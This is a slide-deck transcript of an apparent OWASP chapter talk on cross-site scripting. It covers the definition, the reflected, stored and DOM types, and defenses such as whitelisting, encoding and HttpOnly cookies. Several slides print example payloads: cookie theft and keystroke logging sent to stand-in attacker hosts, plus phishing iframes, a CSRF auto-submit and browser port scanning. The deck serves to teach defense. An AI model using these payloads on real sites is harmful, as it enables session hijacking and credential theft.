Cross site scripting attacks and defenses

45
` XSS Multi Facet Vulnerability

description

This presentation covers the Cross site scripting attacks and defences in web applications, this talk was delivered as part of OWASP Hyderabad Chapter meet. Comments and suggestions are welcome.

Transcript of Cross site scripting attacks and defenses

Page 1: Cross site scripting attacks and defenses

`XSS Multi Facet Vulnerability

Page 2: Cross site scripting attacks and defenses

#whoamiMohammed Imran ( @imran_naseem )Information Security professional @ TCS

Null Hyderabad Chapter Lead

OWASP Hyderabad Board Member

Page 3: Cross site scripting attacks and defenses

Agenda

1

3

2

1 4 Cross Site Scripting

Problem

Anatomy of XSS

Types of XSS

5 XSS Attacks

6 Solution

Page 4: Cross site scripting attacks and defenses

`

#1

The definitionof XSS

Page 5: Cross site scripting attacks and defenses

Cross site Scripting (XSS) attacks are a type of injection problem, in which malicious scripts are injected into otherwise benign and trusted web sites.

“”

Source:owasp.org

Page 6: Cross site scripting attacks and defenses

`

#2

The Problemof XSS

Page 7: Cross site scripting attacks and defenses
Page 8: Cross site scripting attacks and defenses

And its Expected ...

Page 9: Cross site scripting attacks and defenses

If not done securely, could lead to problems

Page 10: Cross site scripting attacks and defenses

Such as...Malicious Script Execution

Phishing

Redirection to malicious site

Session Hijacking

CSRF

Keylogging

Port Scanning

Page 11: Cross site scripting attacks and defenses

`

#3

The Anatomyof XSS

Page 12: Cross site scripting attacks and defenses
Page 13: Cross site scripting attacks and defenses

Application takes insecure content

Page 14: Cross site scripting attacks and defenses
Page 15: Cross site scripting attacks and defenses

HTML Source Code

Page 16: Cross site scripting attacks and defenses

`

#4

The Typesof XSS

Page 17: Cross site scripting attacks and defenses

Reflected XSS

Page 18: Cross site scripting attacks and defenses

Reflected attack generally is used to exploit script injection vulnerabilities via URL in a web application.“

Page 19: Cross site scripting attacks and defenses
Page 20: Cross site scripting attacks and defenses
Page 21: Cross site scripting attacks and defenses
Page 22: Cross site scripting attacks and defenses
Page 23: Cross site scripting attacks and defenses
Page 24: Cross site scripting attacks and defenses
Page 25: Cross site scripting attacks and defenses

Stored XSS

Page 26: Cross site scripting attacks and defenses

Stored XSS occurs when the injected script is stored in the database and is delivered to the visitor of the application.“

Page 27: Cross site scripting attacks and defenses
Page 28: Cross site scripting attacks and defenses
Page 29: Cross site scripting attacks and defenses
Page 30: Cross site scripting attacks and defenses
Page 31: Cross site scripting attacks and defenses
Page 32: Cross site scripting attacks and defenses
Page 33: Cross site scripting attacks and defenses

DOM XSS

Page 34: Cross site scripting attacks and defenses

DOM Based XSS is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner.

”Source:owasp.org

Page 35: Cross site scripting attacks and defenses

`

#5

The AttackTypes in XSS

Page 36: Cross site scripting attacks and defenses

Redirection

“><script>document.location.href=”http://www.MaliciousSite.com/” </script>

Page 37: Cross site scripting attacks and defenses

Session Hijacking

“><script>document.location.href=”http://www.MaliciousSite.com/cookiestealer.php?cookie=”+document.cookie </script>

Page 38: Cross site scripting attacks and defenses

Phishing“><iframe src="http://www.yourphishingsite.com" height="100%" width="100%"></iframe>

Page 39: Cross site scripting attacks and defenses

keylogging “><script src=”http://www.MaliciousSite.com/keylogger.js”> </script>

Logic:

document.onkeypress = function keyLog(a) { new Image().src='http://www.attacker.com/logging.php?data='+a.which; }

Page 40: Cross site scripting attacks and defenses

REDIRECTION

“><script>document.location.href=”http://www.MaliciousSite.com/” </script>

Page 41: Cross site scripting attacks and defenses

CSRFPage 1:

<form name=”delete” action="http://yoursite.com/deleteuser" method="post">

<input type="hidden" name="userid" value="1">

<input type=”submit”>

</form>

Page 2:

“><script>document.form.delete.submit();</script>

Page 42: Cross site scripting attacks and defenses

Port Scanning<script type="text/javascript">

function handleError(message, url, line){

if(message.match(/Script error|Error loading script/)){

alert("open");

}

}

var newScript = document.createElement('script');

newScript.src = 'http://www.google.com:80/';

document.body.appendChild(newScript);

window.onerror = handleError;

</script>

Page 43: Cross site scripting attacks and defenses

`

#6

The Solutionto fix XSS

Page 44: Cross site scripting attacks and defenses

Solution● Validate the data ( use white-listing )● Encode the data● Use HTTP-only and secure flags for cookies

Page 45: Cross site scripting attacks and defenses

Credits● http://www.symantec.com/connect/blogs/getting-sassy-xss-part-3-port-scanning● All icons are from http://thenounproject.com/ ● Owasp.org